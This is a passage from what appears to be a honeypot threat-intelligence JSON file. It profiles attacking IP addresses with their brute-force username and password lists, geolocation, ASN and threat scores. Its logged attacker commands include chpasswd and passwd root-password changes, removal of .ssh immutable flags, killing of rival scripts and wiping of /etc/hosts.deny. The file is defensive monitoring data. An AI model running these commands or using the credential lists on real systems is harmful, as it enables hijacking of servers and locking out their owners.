        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -m",
        "w",
        "which ls",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:C3L4PuEIW8NY\"|chpasswd|bash",
        "echo \"root:G4BHsjdBFgMv\"|chpasswd|bash",
        "lscpu | grep Model",
        "uname -a",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56040,
      "as_org": "China Mobile communications corporation",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 306,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:37:46.286000+00:00",
        "last_seen_30d": "2026-03-15T20:33:38.948000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 232,
        "Suricata": 74
      }
    },
    "185.196.9.205": {
      "attack_count": 207,
      "first_seen": "2026-03-03T18:19:11.496Z",
      "last_seen": "2026-03-15T04:13:32.504Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "iwata",
        "bin",
        "games",
        "pollinate"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123ewqasdcxz",
        "1314520z",
        "1q2w3e4r5t@123",
        "@#Rq92u8fjewRweqf45y43tgh3",
        "Ck123456",
        "Huawei@2025",
        "admin12#$",
        "genius",
        "iwata",
        "mynoob",
        "oracle123",
        "qq123321",
        "root111",
        "zxcvbnm"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"iwata\\nUkMNMdiw8uJM\\nUkMNMdiw8uJM\\n\"|passwd",
        "echo \"root:bozOfhBLx8ju\"|chpasswd|bash",
        "echo -e \"iwata\\nUkMNMdiw8uJM\\nUkMNMdiw8uJM\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 252,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T18:19:11.496000+00:00",
        "last_seen_30d": "2026-03-15T04:14:36.604000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 207,
        "Suricata": 45
      }
    },
    "51.254.113.225": {
      "attack_count": 193,
      "first_seen": "2026-03-12T00:50:02.954Z",
      "last_seen": "2026-03-12T01:07:53.048Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "syh",
        "amine",
        "fastuser",
        "lekaren",
        "mslee21",
        "n8n",
        "player"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123qwe!!!",
        "@123456",
        "Aa12345!",
        "Player123",
        "Syh123",
        "amine1234",
        "fastuser1234",
        "ftpuser2025",
        "mslee211234",
        "n8n"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Syh123\\nOYgsUsYCg3JN\\nOYgsUsYCg3JN\\n\"|passwd",
        "echo \"ftpuser2025\\nfCWuzK8OuOJK\\nfCWuzK8OuOJK\\n\"|passwd",
        "echo -e \"Syh123\\nOYgsUsYCg3JN\\nOYgsUsYCg3JN\"|passwd|bash",
        "echo -e \"ftpuser2025\\nfCWuzK8OuOJK\\nfCWuzK8OuOJK\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T00:50:02.954000+00:00",
        "last_seen_30d": "2026-03-12T01:09:02.201000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 34
      }
    },
    "103.234.53.173": {
      "attack_count": 187,
      "first_seen": "2026-03-25T22:33:39.844Z",
      "last_seen": "2026-03-26T14:13:15.237Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "vbox",
        "cs",
        "juan",
        "julian",
        "shawn",
        "zhj"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "201314",
        "90909090",
        "P@ssW0rd",
        "Zh123456@",
        "shawnpass",
        "vbox1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:KUwjgP2GUQZj\"|chpasswd|bash",
        "echo \"vbox1234\\nCDt3VldFElkN\\nCDt3VldFElkN\\n\"|passwd",
        "echo -e \"vbox1234\\nCDt3VldFElkN\\nCDt3VldFElkN\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 40065,
      "as_org": "CNSERVERS LLC",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T22:33:39.844000+00:00",
        "last_seen_30d": "2026-03-26T14:14:15.748000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 33
      }
    },
    "139.59.162.128": {
      "attack_count": 168,
      "first_seen": "2026-03-28T05:11:14.511Z",
      "last_seen": "2026-03-28T06:42:01.336Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456123",
        "123456789Abc",
        "1qaz2wsx!@",
        "1qaz3edc5tgb",
        "1qazxdr5@#$",
        "3245gs5662d34",
        "345gs5662d34",
        "Bd@123456",
        "Cl123456@",
        "Gd@ta2026",
        "Huawei1234",
        "QWEasd123456!",
        "Root321123",
        "Rx.123456",
        "asdf!234",
        "asdf@12345",
        "lt123456789",
        "meng123456",
        "qf123456@",
        "ranger"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:gnPJn79OCBk3\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 32.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T05:11:14.511000+00:00",
        "last_seen_30d": "2026-03-28T06:43:08.228000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "139.59.25.24": {
      "attack_count": 150,
      "first_seen": "2026-03-02T17:52:27.047Z",
      "last_seen": "2026-03-02T18:21:26.980Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "123456789",
        "admin",
        "password",
        "qwerty",
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "admin123",
        "passw0rd",
        "password1",
        "root",
        "root123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 215,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T17:52:08.762000+00:00",
        "last_seen_30d": "2026-03-02T18:22:31.126000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 150,
        "Suricata": 65
      }
    },
    "165.154.6.208": {
      "attack_count": 119,
      "first_seen": "2026-03-16T19:53:25.674Z",
      "last_seen": "2026-03-16T20:13:23.271Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "yzh",
        "345gs5662d34",
        "hr",
        "jan",
        "lekaren",
        "online",
        "passbolt",
        "root",
        "student5",
        "vpn",
        "xx"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "123456Abc",
        "3245gs5662d34",
        "345gs5662d34",
        "hr123!",
        "lekarenpass",
        "vpnpass",
        "xx123",
        "yzh123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"yzh123456\\nzly7BFPfDkn2\\nzly7BFPfDkn2\\n\"|passwd",
        "echo -e \"yzh123456\\nzly7BFPfDkn2\\nzly7BFPfDkn2\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 17.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T19:53:25.674000+00:00",
        "last_seen_30d": "2026-03-16T20:14:31.297000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "211.253.9.49": {
      "attack_count": 119,
      "first_seen": "2026-03-08T04:16:59.899Z",
      "last_seen": "2026-03-08T04:37:54.589Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "345gs5662d34",
        "User",
        "ai",
        "mohsen",
        "n8n",
        "pyramid",
        "root",
        "tfserver",
        "webadmin",
        "wes"
      ],
      "passwords_attempted": [
        "123",
        "12345678",
        "11111111",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "QWEasd123...",
        "Tfserver123!",
        "Wes123",
        "ai123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"11111111\\nVZTA6lZKYePI\\nVZTA6lZKYePI\\n\"|passwd",
        "echo -e \"11111111\\nVZTA6lZKYePI\\nVZTA6lZKYePI\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T04:16:59.899000+00:00",
        "last_seen_30d": "2026-03-08T04:38:55.674000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "147.135.251.134": {
      "attack_count": 118,
      "first_seen": "2026-03-22T23:49:14.058Z",
      "last_seen": "2026-03-23T00:04:32.136Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "antoine",
        "cyber",
        "develop",
        "flutter",
        "kali",
        "verdaccio",
        "waf",
        "webmin"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "12345",
        "123456abcd",
        "3245gs5662d34",
        "345gs5662d34",
        "Cloud2026",
        "cyber2025",
        "kalipass",
        "verdaccio1234",
        "waf123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:I9GodpNgkU78\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 145,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T23:49:14.058000+00:00",
        "last_seen_30d": "2026-03-23T00:05:34.487000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 27
      }
    },
    "23.95.236.27": {
      "attack_count": 118,
      "first_seen": "2026-03-02T05:19:54.298Z",
      "last_seen": "2026-03-02T05:43:13.157Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123123qwe",
        "123456Zz",
        "123456root",
        "123456sX",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin111",
        "Pass1234",
        "Xy12345678",
        "admin#123",
        "huawei",
        "qwe123,./"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:fu940CZniPpZ\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T05:19:54.298000+00:00",
        "last_seen_30d": "2026-03-02T05:44:14.150000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "102.218.89.110": {
      "attack_count": 114,
      "first_seen": "2026-03-24T19:14:21.901Z",
      "last_seen": "2026-03-24T19:37:35.300Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "web_admin",
        "345gs5662d34",
        "adminer",
        "apexuser",
        "celery",
        "cw",
        "ftpadmin",
        "pavel",
        "roy",
        "talha"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Adminer123!",
        "Apexuser123",
        "celery",
        "ftpadmin1234",
        "password",
        "pavelpass",
        "roypass",
        "talha1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\nCFKlQ6hYvqtn\\nCFKlQ6hYvqtn\\n\"|passwd",
        "echo -e \"123\\nCFKlQ6hYvqtn\\nCFKlQ6hYvqtn\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Uganda",
      "country_code": "UG",
      "city": "Kampala",
      "asn": 328939,
      "as_org": "SIL6-AS",
      "threat_score": 26.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T19:14:21.901000+00:00",
        "last_seen_30d": "2026-03-24T19:38:45.459000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 26
      }
    },
    "27.112.78.170": {
      "attack_count": 114,
      "first_seen": "2026-03-22T00:50:32.994Z",
      "last_seen": "2026-03-22T01:13:30.892Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "manish",
        "root",
        "345gs5662d34",
        "angga",
        "linuxbrew",
        "mohsen",
        "posiflex",
        "rms",
        "rramirez"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Qwe12345",
        "manish1234",
        "rms123!",
        "root@123."
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"manish1234\\n1i4uLWC9Cz7C\\n1i4uLWC9Cz7C\\n\"|passwd",
        "echo -e \"manish1234\\n1i4uLWC9Cz7C\\n1i4uLWC9Cz7C\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T00:50:32.994000+00:00",
        "last_seen_30d": "2026-03-22T01:14:38.037000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 27
      }
    },
    "152.42.141.150": {
      "attack_count": 113,
      "first_seen": "2026-03-02T21:30:54.933Z",
      "last_seen": "2026-03-02T21:45:07.714Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "1q2w3e4r",
        "P@ssw0rd",
        "admin",
        "admin123",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "root",
        "root123",
        "toor"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 158,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T21:30:54.933000+00:00",
